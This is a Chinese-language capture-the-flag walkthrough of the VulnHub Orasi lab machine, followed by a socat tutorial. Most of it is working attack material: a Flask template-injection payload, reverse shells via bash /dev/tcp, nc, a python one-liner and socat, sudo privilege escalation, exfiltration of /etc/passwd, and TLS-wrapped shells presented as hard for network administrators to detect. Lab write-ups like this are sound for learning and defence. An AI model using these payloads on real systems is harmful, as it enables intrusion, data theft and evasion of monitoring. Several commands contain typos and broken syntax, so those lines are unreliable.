靶机下载地址: https://www.vulnhub.com/entry/orasi-1,660/
教程链接地址: https://www.cnblogs.com/sainet/p/16316274.html
# 确认攻击目标
攻击机 KALI: 192.168.31.135 (由于设置成了 DHCP、可能多变)
靶机 ORASI:桥接于 192.168.31.1 的网卡,ip 未知
1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机地址
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

2 )扫到 ip 之后对 ip 进行端口扫描
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs nmap -PA

这样扫看似扫出来了所有的端口,但是端口里的具体信息却没有识别,由于之前很多次都是因为在端口扫描阶段没有继续深入扫描端口信息而无法渗透,比如 git 泄漏、dns 解析域名泄漏、各种服务的版本都含有更多的敏感信息。因此,需要对得到的服务器进一步深入扫描得到端口信息
3 )端口详细扫描
sudo nmap -A -p- 192.168.31.17 --min-rate 5000

-> 靶机 ip:192.168.31.17 靶机开放端口 21,22,80,5000
# IDA 反编译 ELF
匿名登陆 ftp 服务器寻找敏感信息,得到 pub 文件夹下的 url 文件

用 file 命令可以判断出 url 是一个 ELF 文件,要反编译 ELF 文件需要借助 IDA, 工具,这里将此文件传输到了一台具有 IDA 工具的电脑上

反编译之后在 main 方法中看到 /sh4d0w$s

# leet 加密语言
打开 http://192.168.31.17 进行信息收集

看到一个奇怪的数字和英文单词 leet,查了一下其具体代表什么含义

原来是一种黑客的加密语言,可以根据这一点生成一份字典
利用 crunch 命令生成一份字典 crunch 6 6 1337leet -o wordlist.txt

由之前反编译产生的一个疑似目录的文件,进行访问
[http://192.168.31.17/sh4d0ws)

# 网站信息收集
扫描一下此网站是否存在敏感目录 gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.17/

打开 http://192.168.31.17:5000/ 进行信息收集

访问地址 http://192.168.31.17:5000/sh4d0w$s

页面有回显表示漏洞就在这个地方,现在我们有一个敏感的 url 地址和一份字典,可以根据此字典爆破此 url 地址的输入
# ffuf 模糊测试
使用 ffuf 测试 input 的参数应该是字典中的哪个
ffuf - u "http://192.168.31.17:5000/sh4d0w\$s?FUZZ=/etc/passwd" -w wordli.txt -fs 8
加载到了一个为 l333tt 的地址,此种情况下页面回显为 200

访问此网站,发现了回显与输入的内容一致
[http://192.168.31.17:5000/sh4d0ws?l333tt=pwd)

换成其他的参数之后发现回显依旧是输入本身

利用 wappalyzer 发现网站时 python 写的、用的 flask 框架

# SSTI 模板注入
既然是 flask 框架,就可以测试 SSTI 模版注入
[http://192.168.31.17:5000/sh4d0ws?l333tt=100)

命令成功被执行,表示 SSTI 模板注入漏洞是存在的,如果不用浏览器进行渗透,用终端进行命令行访问的话需要编码及转义
https://www.bejson.com/enc/urlencode/ 上进行 url 编码

curl http://192.168.31.17:5000/sh4d0w\$s?l333tt=%7B%7B10*10%7D%7D

接下来就用这个模板的漏洞进行反弹 shell,先用最基础的试试
{% import os %}{{os.system('bash -c "bash -i >&/dev/tcp/192.168.31.99/4444 >&1"')}}

服务器返回了错误,得换其他的方式
# SSTI 模板注入绕过
用 url 编码尝试能否绕过

绕过失败,回显显示错误,shell 没有反弹出来,当然 curl 可能因为编码和转义的原因不太准确,不确定的话可以使用浏览器确认一下

尝试用以下方式执行系统命令 (浏览器会默认对空格、引号等自动 url 编码,直接访问即可):
{{ config.__class__.__init__.__globals__['os'].popen('ls -la').read()}}
http://192.168.31.17:5000/sh4d0w\$s?l333tt={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20-la%27).read()%20}}

命令执行成功,返回了 ls -al 命令的信息,判断目标站点是否存在 nc、python、bash 等可反弹 shell 的命令
http://192.168.31.17:5000/sh4d0w\$s?l333tt={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20-la%27).read()%20}}

用 nc 来反弹 shell:
http://192.168.31.17:5000/sh4d0w\$s?{{%20config.__class__.__init__.__globals__[]%27os%27].popen(%27nc%20192.168.31.99%204444%20-e%20/bin/bash%27).read()%20}}

拿到 webshell 之后就是对其进行输出一个标准的 shell,就不多说了
# socat 反弹 shell
查看 sudo -l 时,看到可以无密码执行 kori 下的一个命令
先无脑用 python 3 尝试一下能否反弹 shell 出来
sudo -u kori /bin/php /home/kori/jail.php python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31. 99 ",4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
反弹失败了,查看 /home/kori/jail.php 文件,发现在 jail.php 文件中基本上能反弹 shell 的命令都给过滤掉了,包括一些特殊字符都不能在使用,我们能否绕过这些过滤信息,一旦绕过过滤,我们所输入的命令就会被执行

发现服务器上是存在 socat 命令的,socat 可以算做是高级一点的 nc,并且反弹 shell 的时候只需要分号不需要其他的特殊符号的参与,后面详细介绍 socat 的使用方法,这里先把 shell 反弹出来
nc - lvvp 3335
sudo -u kori /bin/php /home/kori/jail.php socat exec:'sh',pty,stderr,setsid,sigint,sane
tcp:192.168.31.99:4445

反弹后同样先获取一个标准的 tty,查看权限设置时看到了一条命令,可调用 irida 用户用 cp 命令将其用户目录下的 irida.apk 文件拷贝到 kori 下

# 权限设置错误
直接执行这条命令,看会有什么样的回显产生
sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk
发现权限不允许,通过 chmod o+w . 给其他用户添加写权限,再次复制成功了

查看此文件的权限时,发现还是属于 irida 用户,如果我们先用 kori 用户创建 irida.apk 的文件,再将 irida 用户目录下的 apk 文件复制过来,那么最后得到的文件的权限就会归属于 kori 用户
rm - f irida.apk;touch irida.apk; chmod +777 irida.apk
sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk

# apk 反编译
将 apk 发送到一台 windows 虚拟机或者主机上,尝试反编译
scp irida.apk administrator@192.168.31.16:/E:/Desktop

在 github 上搜索得到 AndroidKiller 一款用来反编译 apk 的工具

用此工具打开 apk 文件即可自动的进行反编译

经过一段时间后,apk 被成功反编译为了 jar 文件

而 jar 文件是可以直接采用 IDEA 打开的,但是打开之后是不允许编辑的,可以借助 IDEA 工具对其源码进行审计,然后复制出关键的信息进行利用
# IDEA 反编译 jar
在 jar 文件中找到一个登陆数据,调用了一个方法,将该方法的输出结果作为登陆进去的密码

拉取这部分的代码,执行构造的代码,反向输出原有的密码

得到密码 eye.of.the.tiger (), 并且可依靠此密码登陆到 irida 用户下
找到 irida 用户的一条用户权限设置错误,可调用 python3 执行 oras.py

但是现在的问题是没有权限去查看 oras.py 到底有什么内容,只能根据执行后的回显结果进行猜测
sudo /usr/bin/python3 /root/oras.py

需要输入一个参数,并且错误信息提示我们需要输入的是一个十六进制的数据
# python 输出 hex
用 python3 调用十六进制,将 whoami 编码为十六进制
python3 -c “print (b"whoami”.hex ())" | sudo python3 /root/oras.pyi
python3 -c 是在命令行执行 python 代码,上述命令表示用 python 3 在命令输出
一个 whoami 的十六进制数据并将这个数据作为后面那个脚本的输入,字符串中的’b’字符前缀使变量成为字节类型。

这里输了一些命令之后命令被挤掉了,说明 stty 设置的不够严谨,重新 reset 一下,stty 如何设置前面有介绍这里就直接利用

上述命令因为符号转义问题即括号的书写不规范导致命令错误,这里不确定自己的命令是否正确,就分为了两部执行,先打印出十六进制,运行后面的脚本,并把十六进制数据作为后者的输入,正常的写法为
python3 -c "print(b\"whoami\".hex())"

将 whoami 的十六进制数据 77686f616d69 带入脚本中执行,看到报错代码内容为 exec(name),而 print (exec (‘whoami’)) 是错误的语法

# py exec 执行命令
搜索 python 的 exec 如何执行,在下图的示例中,可见需要在 exec 中添加的内容为 print(‘Hello World’)的形式

同样先把 print (‘Hello World’) 转为为十六进制
python3 -c "print(b\"print('Hello World')\".hex())"

将得到的数据 7072696e74282748656c6c6f20576f726c642729 带入到脚本中执行,执行成功,并且打印出来了 Hello World

通过 python 命令行引入 os 包,以 os 包下的 system 执行系统命令
python3 -c "print(b\"__import__('os').system('whoami')\".hex())"

1 | sudo python3 /root/oras.py |

1 | 通过nc将root的shell反弹出来 |

-> 最终拿到了 root 权限
# socat 通信
socat 功能灵活,除了完成 nc 能完成的所有任务外,还有很多实用的用法:
基本命令就是:socat [参数] < 地址 1 > < 地址 2 >
使用 socat 需要提供两个地址,socat 会将这两个地址的数据流串起来,把第左边地址的输出数据传给右边,同时又把右边输出的数据传到左边。Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式。如 IP、TCP、UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket 等。
socat - -
把标准输入和标准输出对接,输入什么显示什么
就会对接标准输入和标准输出,类似无参数的 cat 命令

网络测试 两台主机到底网络能否联通:
socat - TCP-LISTEN:8080
终端 1 上启动 server 监听 TCP
socat - TCP:localhost:8080
终端 2 上启动 client 链接 TCP

服务端在 TCP-LISTEN 地址后面加了 fork 的参数后,就能同时应答多个链接过来的客户端,每个客户端会 fork 一个进程出来进行通信,加上 reuseaddr 可以防止链接没断开玩无法监听的问题。
socat - TCP-LISTEN:8080,fork,reuseaddr
# 终端 1 上启动 server
socat - TCP:localhost:8080
# 终端 2 上启动 client

socat 也可以用 UDP 进行通信
socat - UDP-LISTEN:8080
# 终端 1 上启动 server 监听 UDP
socat - UDP:localhost:8080
# 终端 2 上启动 client 链接 UDP

# socat 端口转发
在主机上监听 8080 端口,将 8080 端口所有流量转发给远程机器的 80 端口,同时在远程机器上开启一个 web 界面:

使用以下命令,访问 127.0.0.1 的流量都转发到了 1.117.52.219 的 8080 上了
socat TCP-LISTEN:8080,fork,reuseaddr TCP:1.117.52.219:80

socat 加上 fork 以后,每次 accept 一个链接都会 fork 出一份来不影响接收其他的新连接,这样 socat 就可以当一个端口转发服务,一直启动在那里。
本地转发,在 80 端口起一个 python 的 http.server 服务
将 80 端口的服务转发至本地的 8888 端口
socat TCP-LISTEN:8888,reuseaddr,fork TCP:127.0.0.1:80


日志信息输出
socat -d -d tcp-listen:1234 -
socat -d -d tcp-connect:127.0.0.1:1234 -

前面两个连续的 -d -d 代表调试信息的输出级别。
# socat 文件传输
采用 FILE 协议将文件传输到另一台机器
socat -d -d tcp-listen:1234 OPEN:filetransfer.txt,create
sudo socat -d -d tcp-connect:127.0.0.1:1234 FILE:/etc/passwd

# socat 规避防火墙
socat 的强大之一在于支持 openssl、可以用于 openssl 连接,这样获取到的反弹 shell 将对网络管理员造成很大的排查难度
创建一个将用于加密连接的证书,我们可以为此使用自签名证书
openssl req -newkey rsa: 2048 - nodes -keyout cert.key -x509 -days 1000 - out cert.crt

这将会产生两个文件,cert.crt 和 cert.key,需要组合为 pem 文件
cat cert.key cert.crt > sslkey.pem

现在我们就得到了一个可以用来连接 socat 加密的证书
当我们使用加密证书的时候,就不再用 tcp 监听链接,而是用的 openssl 监听,
因为没有使用有效证书需要添加 verify 标志禁用连接端的证书链校验
socat -d -d openssl-listen:1234,cert=sslkey.pem,verify=0 -
socat -d -d openssl-connect:127.0.0.1: 1234 ,verify=0 exec:/bin/bash

这是一个无法或者很难被网络管理员监控的加密链接,这使得网络管理员更难分析我们的数据
# socat 远程登录
一个重要的地址类型就是 EXEC 可以执行程序并且把输入输出和另外一个地址串起来,比如服务端:
socat -d -d TCP-LISTEN:8080,fork,reuseaddr EXEC:/bin/bash
socat -d -d - TCP:localhost:8080

完善一点可以加些参数:(正)
socat -d -d TCP-LISTEN:8080,fork,reuseaddr EXEC:/bin/bash,pty,stderr
socat -d -d file:tty
,raw,echo=0 TCP:localhost:8080

也可以用如下的参数:(反)
socat -d -d exec:‘bash -li’,pty,stderr,setsid,sigint,sane TCP:192.168.0.149:8080
socat -d -d file:tty
,raw,echo=0 TCP-LISTEN:8080
这样可以把 bash 的标准错误重定向给标准输出,并且用终端模式运行。客户端可以像刚才那样登录,但是还可以更高级点,用 tty 的方式访问,这样基本就得到了一个全功能的交互式终端了,可以在里面运行 vim, emacs 之类的程序。